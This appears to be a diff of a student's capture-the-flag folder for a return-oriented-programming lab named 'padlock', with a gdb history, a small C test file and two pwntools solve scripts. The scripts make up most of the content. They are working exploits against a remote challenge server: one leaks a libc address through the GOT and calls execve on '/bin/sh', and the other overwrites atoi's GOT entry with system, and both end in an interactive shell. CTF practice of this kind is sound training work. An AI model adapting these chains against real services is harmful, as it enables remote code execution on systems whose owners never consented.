rop and lab3_4_recap

rop/05_padlock/.gdb_history

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+disass main
+disass vuln
+r
+disass win
+vmmap
+disass main
+disass vuln
+disass main
+disass vuln
+got
+quit
+got
+r
+got
+b vuln
+r
+got
+n
+got
+n
+disass vuln
+b *0x401282
+c
+got
+b main
+r
+got
+r
+got
+find
+find %
+find x
+search "%x"
+search "[padlock]"
+R
+r
+search "[padlock]"
+got
+search "[padlock]"
+r
+got
+c
+got
+quit

rop/05_padlock/solve.py

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+from pwn import *
+
+OFF = 80
+context.binary = elf = ELF("./padlock", checksec=False)
+# libc = ELF("/usr/lib/libc.so.6", checksec=False)
+libc = ELF("./libc.so.6", checksec=False)
+# p = process(elf.path)
+p = remote("offsec.m0lecon.it", 13582)
+PRINTF_PLT = elf.plt["printf"]
+ATOI_PLT = elf.plt["atoi"]
+PRINTF_GOT = elf.got["printf"]
+READ_GOT = elf.got["read"]
+MAIN = elf.sym["main"]
+
+pop_rdi = 0x00000000004011FF  # format string
+pop_rsi = 0x0000000000401208  # got address
+pop_rdx = 0x0000000000401211
+ret = 0x000000000040101A
+mov_eax_pop_rbp = 0x4012B0
+mov_eax = 0x000000000040127D
+# Mi serve scrivere binsh da qualche parte
+# Mi serve trovare libc addr e chiamare system
+rw_addr = 0x405000
+# search it in libc
+BINSH = next(libc.search(b"/bin/sh\x00"))
+format_addr = 0x402028
+print(p.recvuntil(b"[padlock] Decimal combination: "))
+payload = flat(
+    b"A" * OFF,
+    p64(ret),
+    # ATOI returns in rax, make it return 0 to set rax
+    p64(pop_rdi),
+    p64(format_addr),
+    p64(ATOI_PLT),
+    p64(pop_rdi),
+    # Since the GOT is a ptr I directly give it to printf to print the actual libc address
+    p64(PRINTF_GOT),
+    p64(ret),
+    p64(PRINTF_PLT),
+    p64(ret),
+    p64(MAIN),
+)
+p.send(payload)
+print(p.recvline())
+# print(p.recvline())
+leaked = p.recvline().strip().split(b"[")[0]
+leak_printf = u64(leaked.ljust(8, b"\x00"))
+print(f"Leaked addr:{hex(leak_printf)}")
+print(p.recvuntil(b"combination: "))
+libc.address = leak_printf - libc.symbols["printf"]
+
+BINSH = next(libc.search(b"/bin/sh\x00"))
+payload2 = flat(
+    b"A" * OFF,
+    # p64(ret),
+    p64(pop_rdi),
+    p64(BINSH),
+    p64(pop_rsi),
+    p64(0),
+    p64(pop_rdx),
+    p64(0),
+    # p64(ret),
+    p64(libc.symbols["execve"]),
+)
+print(f"Binsh: {hex(BINSH)} System: {hex(libc.symbols['execve'])}")
+p.sendline(payload2)
+p.interactive()
+# print(p.recvuntil(b"[padlock] Decimal combination: "))

rop/05_padlock/solve2.py

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+from pwn import *
+
+OFF = 80
+context.binary = elf = ELF("./padlock", checksec=False)
+libc = ELF("/usr/lib/libc.so.6", checksec=False)
+libc = ELF("./libc.so.6", checksec=False)
+# p = process(elf.path)
+p = remote("offsec.m0lecon.it", 13543)
+
+add_what = elf.sym["add_what_where"]
+atoi_got = elf.got["atoi"]
+main = elf.sym["main"]
+
+pop_rdi = 0x00000000004011FF  # format string
+pop_rsi = 0x0000000000401208  # got address
+pop_rdx = 0x0000000000401211
+ret = 0x000000000040101A
+
+print(p.recvuntil(b"[padlock] Decimal combination: "))
+
+# populate got table
+first_run = flat(
+    b"A" * OFF,
+    p64(ret),
+    p64(main),
+)
+p.sendline(first_run)
+
+print(p.recvuntil(b"[padlock] Decimal combination: "))
+diff = libc.symbols["system"] - libc.symbols["atoi"]
+payload = flat(
+    b"A" * OFF,
+    p64(ret),
+    p64(pop_rdi),
+    p64(atoi_got),
+    p64(pop_rsi),
+    p64(diff),
+    p64(add_what),
+    p64(ret),
+    p64(main),
+)
+p.sendline(payload)
+p.sendline(b"/bin/sh")
+p.interactive()

rop/05_padlock/test.c

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+#include <stdio.h>
+
+int main(){
+    int var1 = 5;
+    printf("Address: %d",&var1);
+    return 0;
+}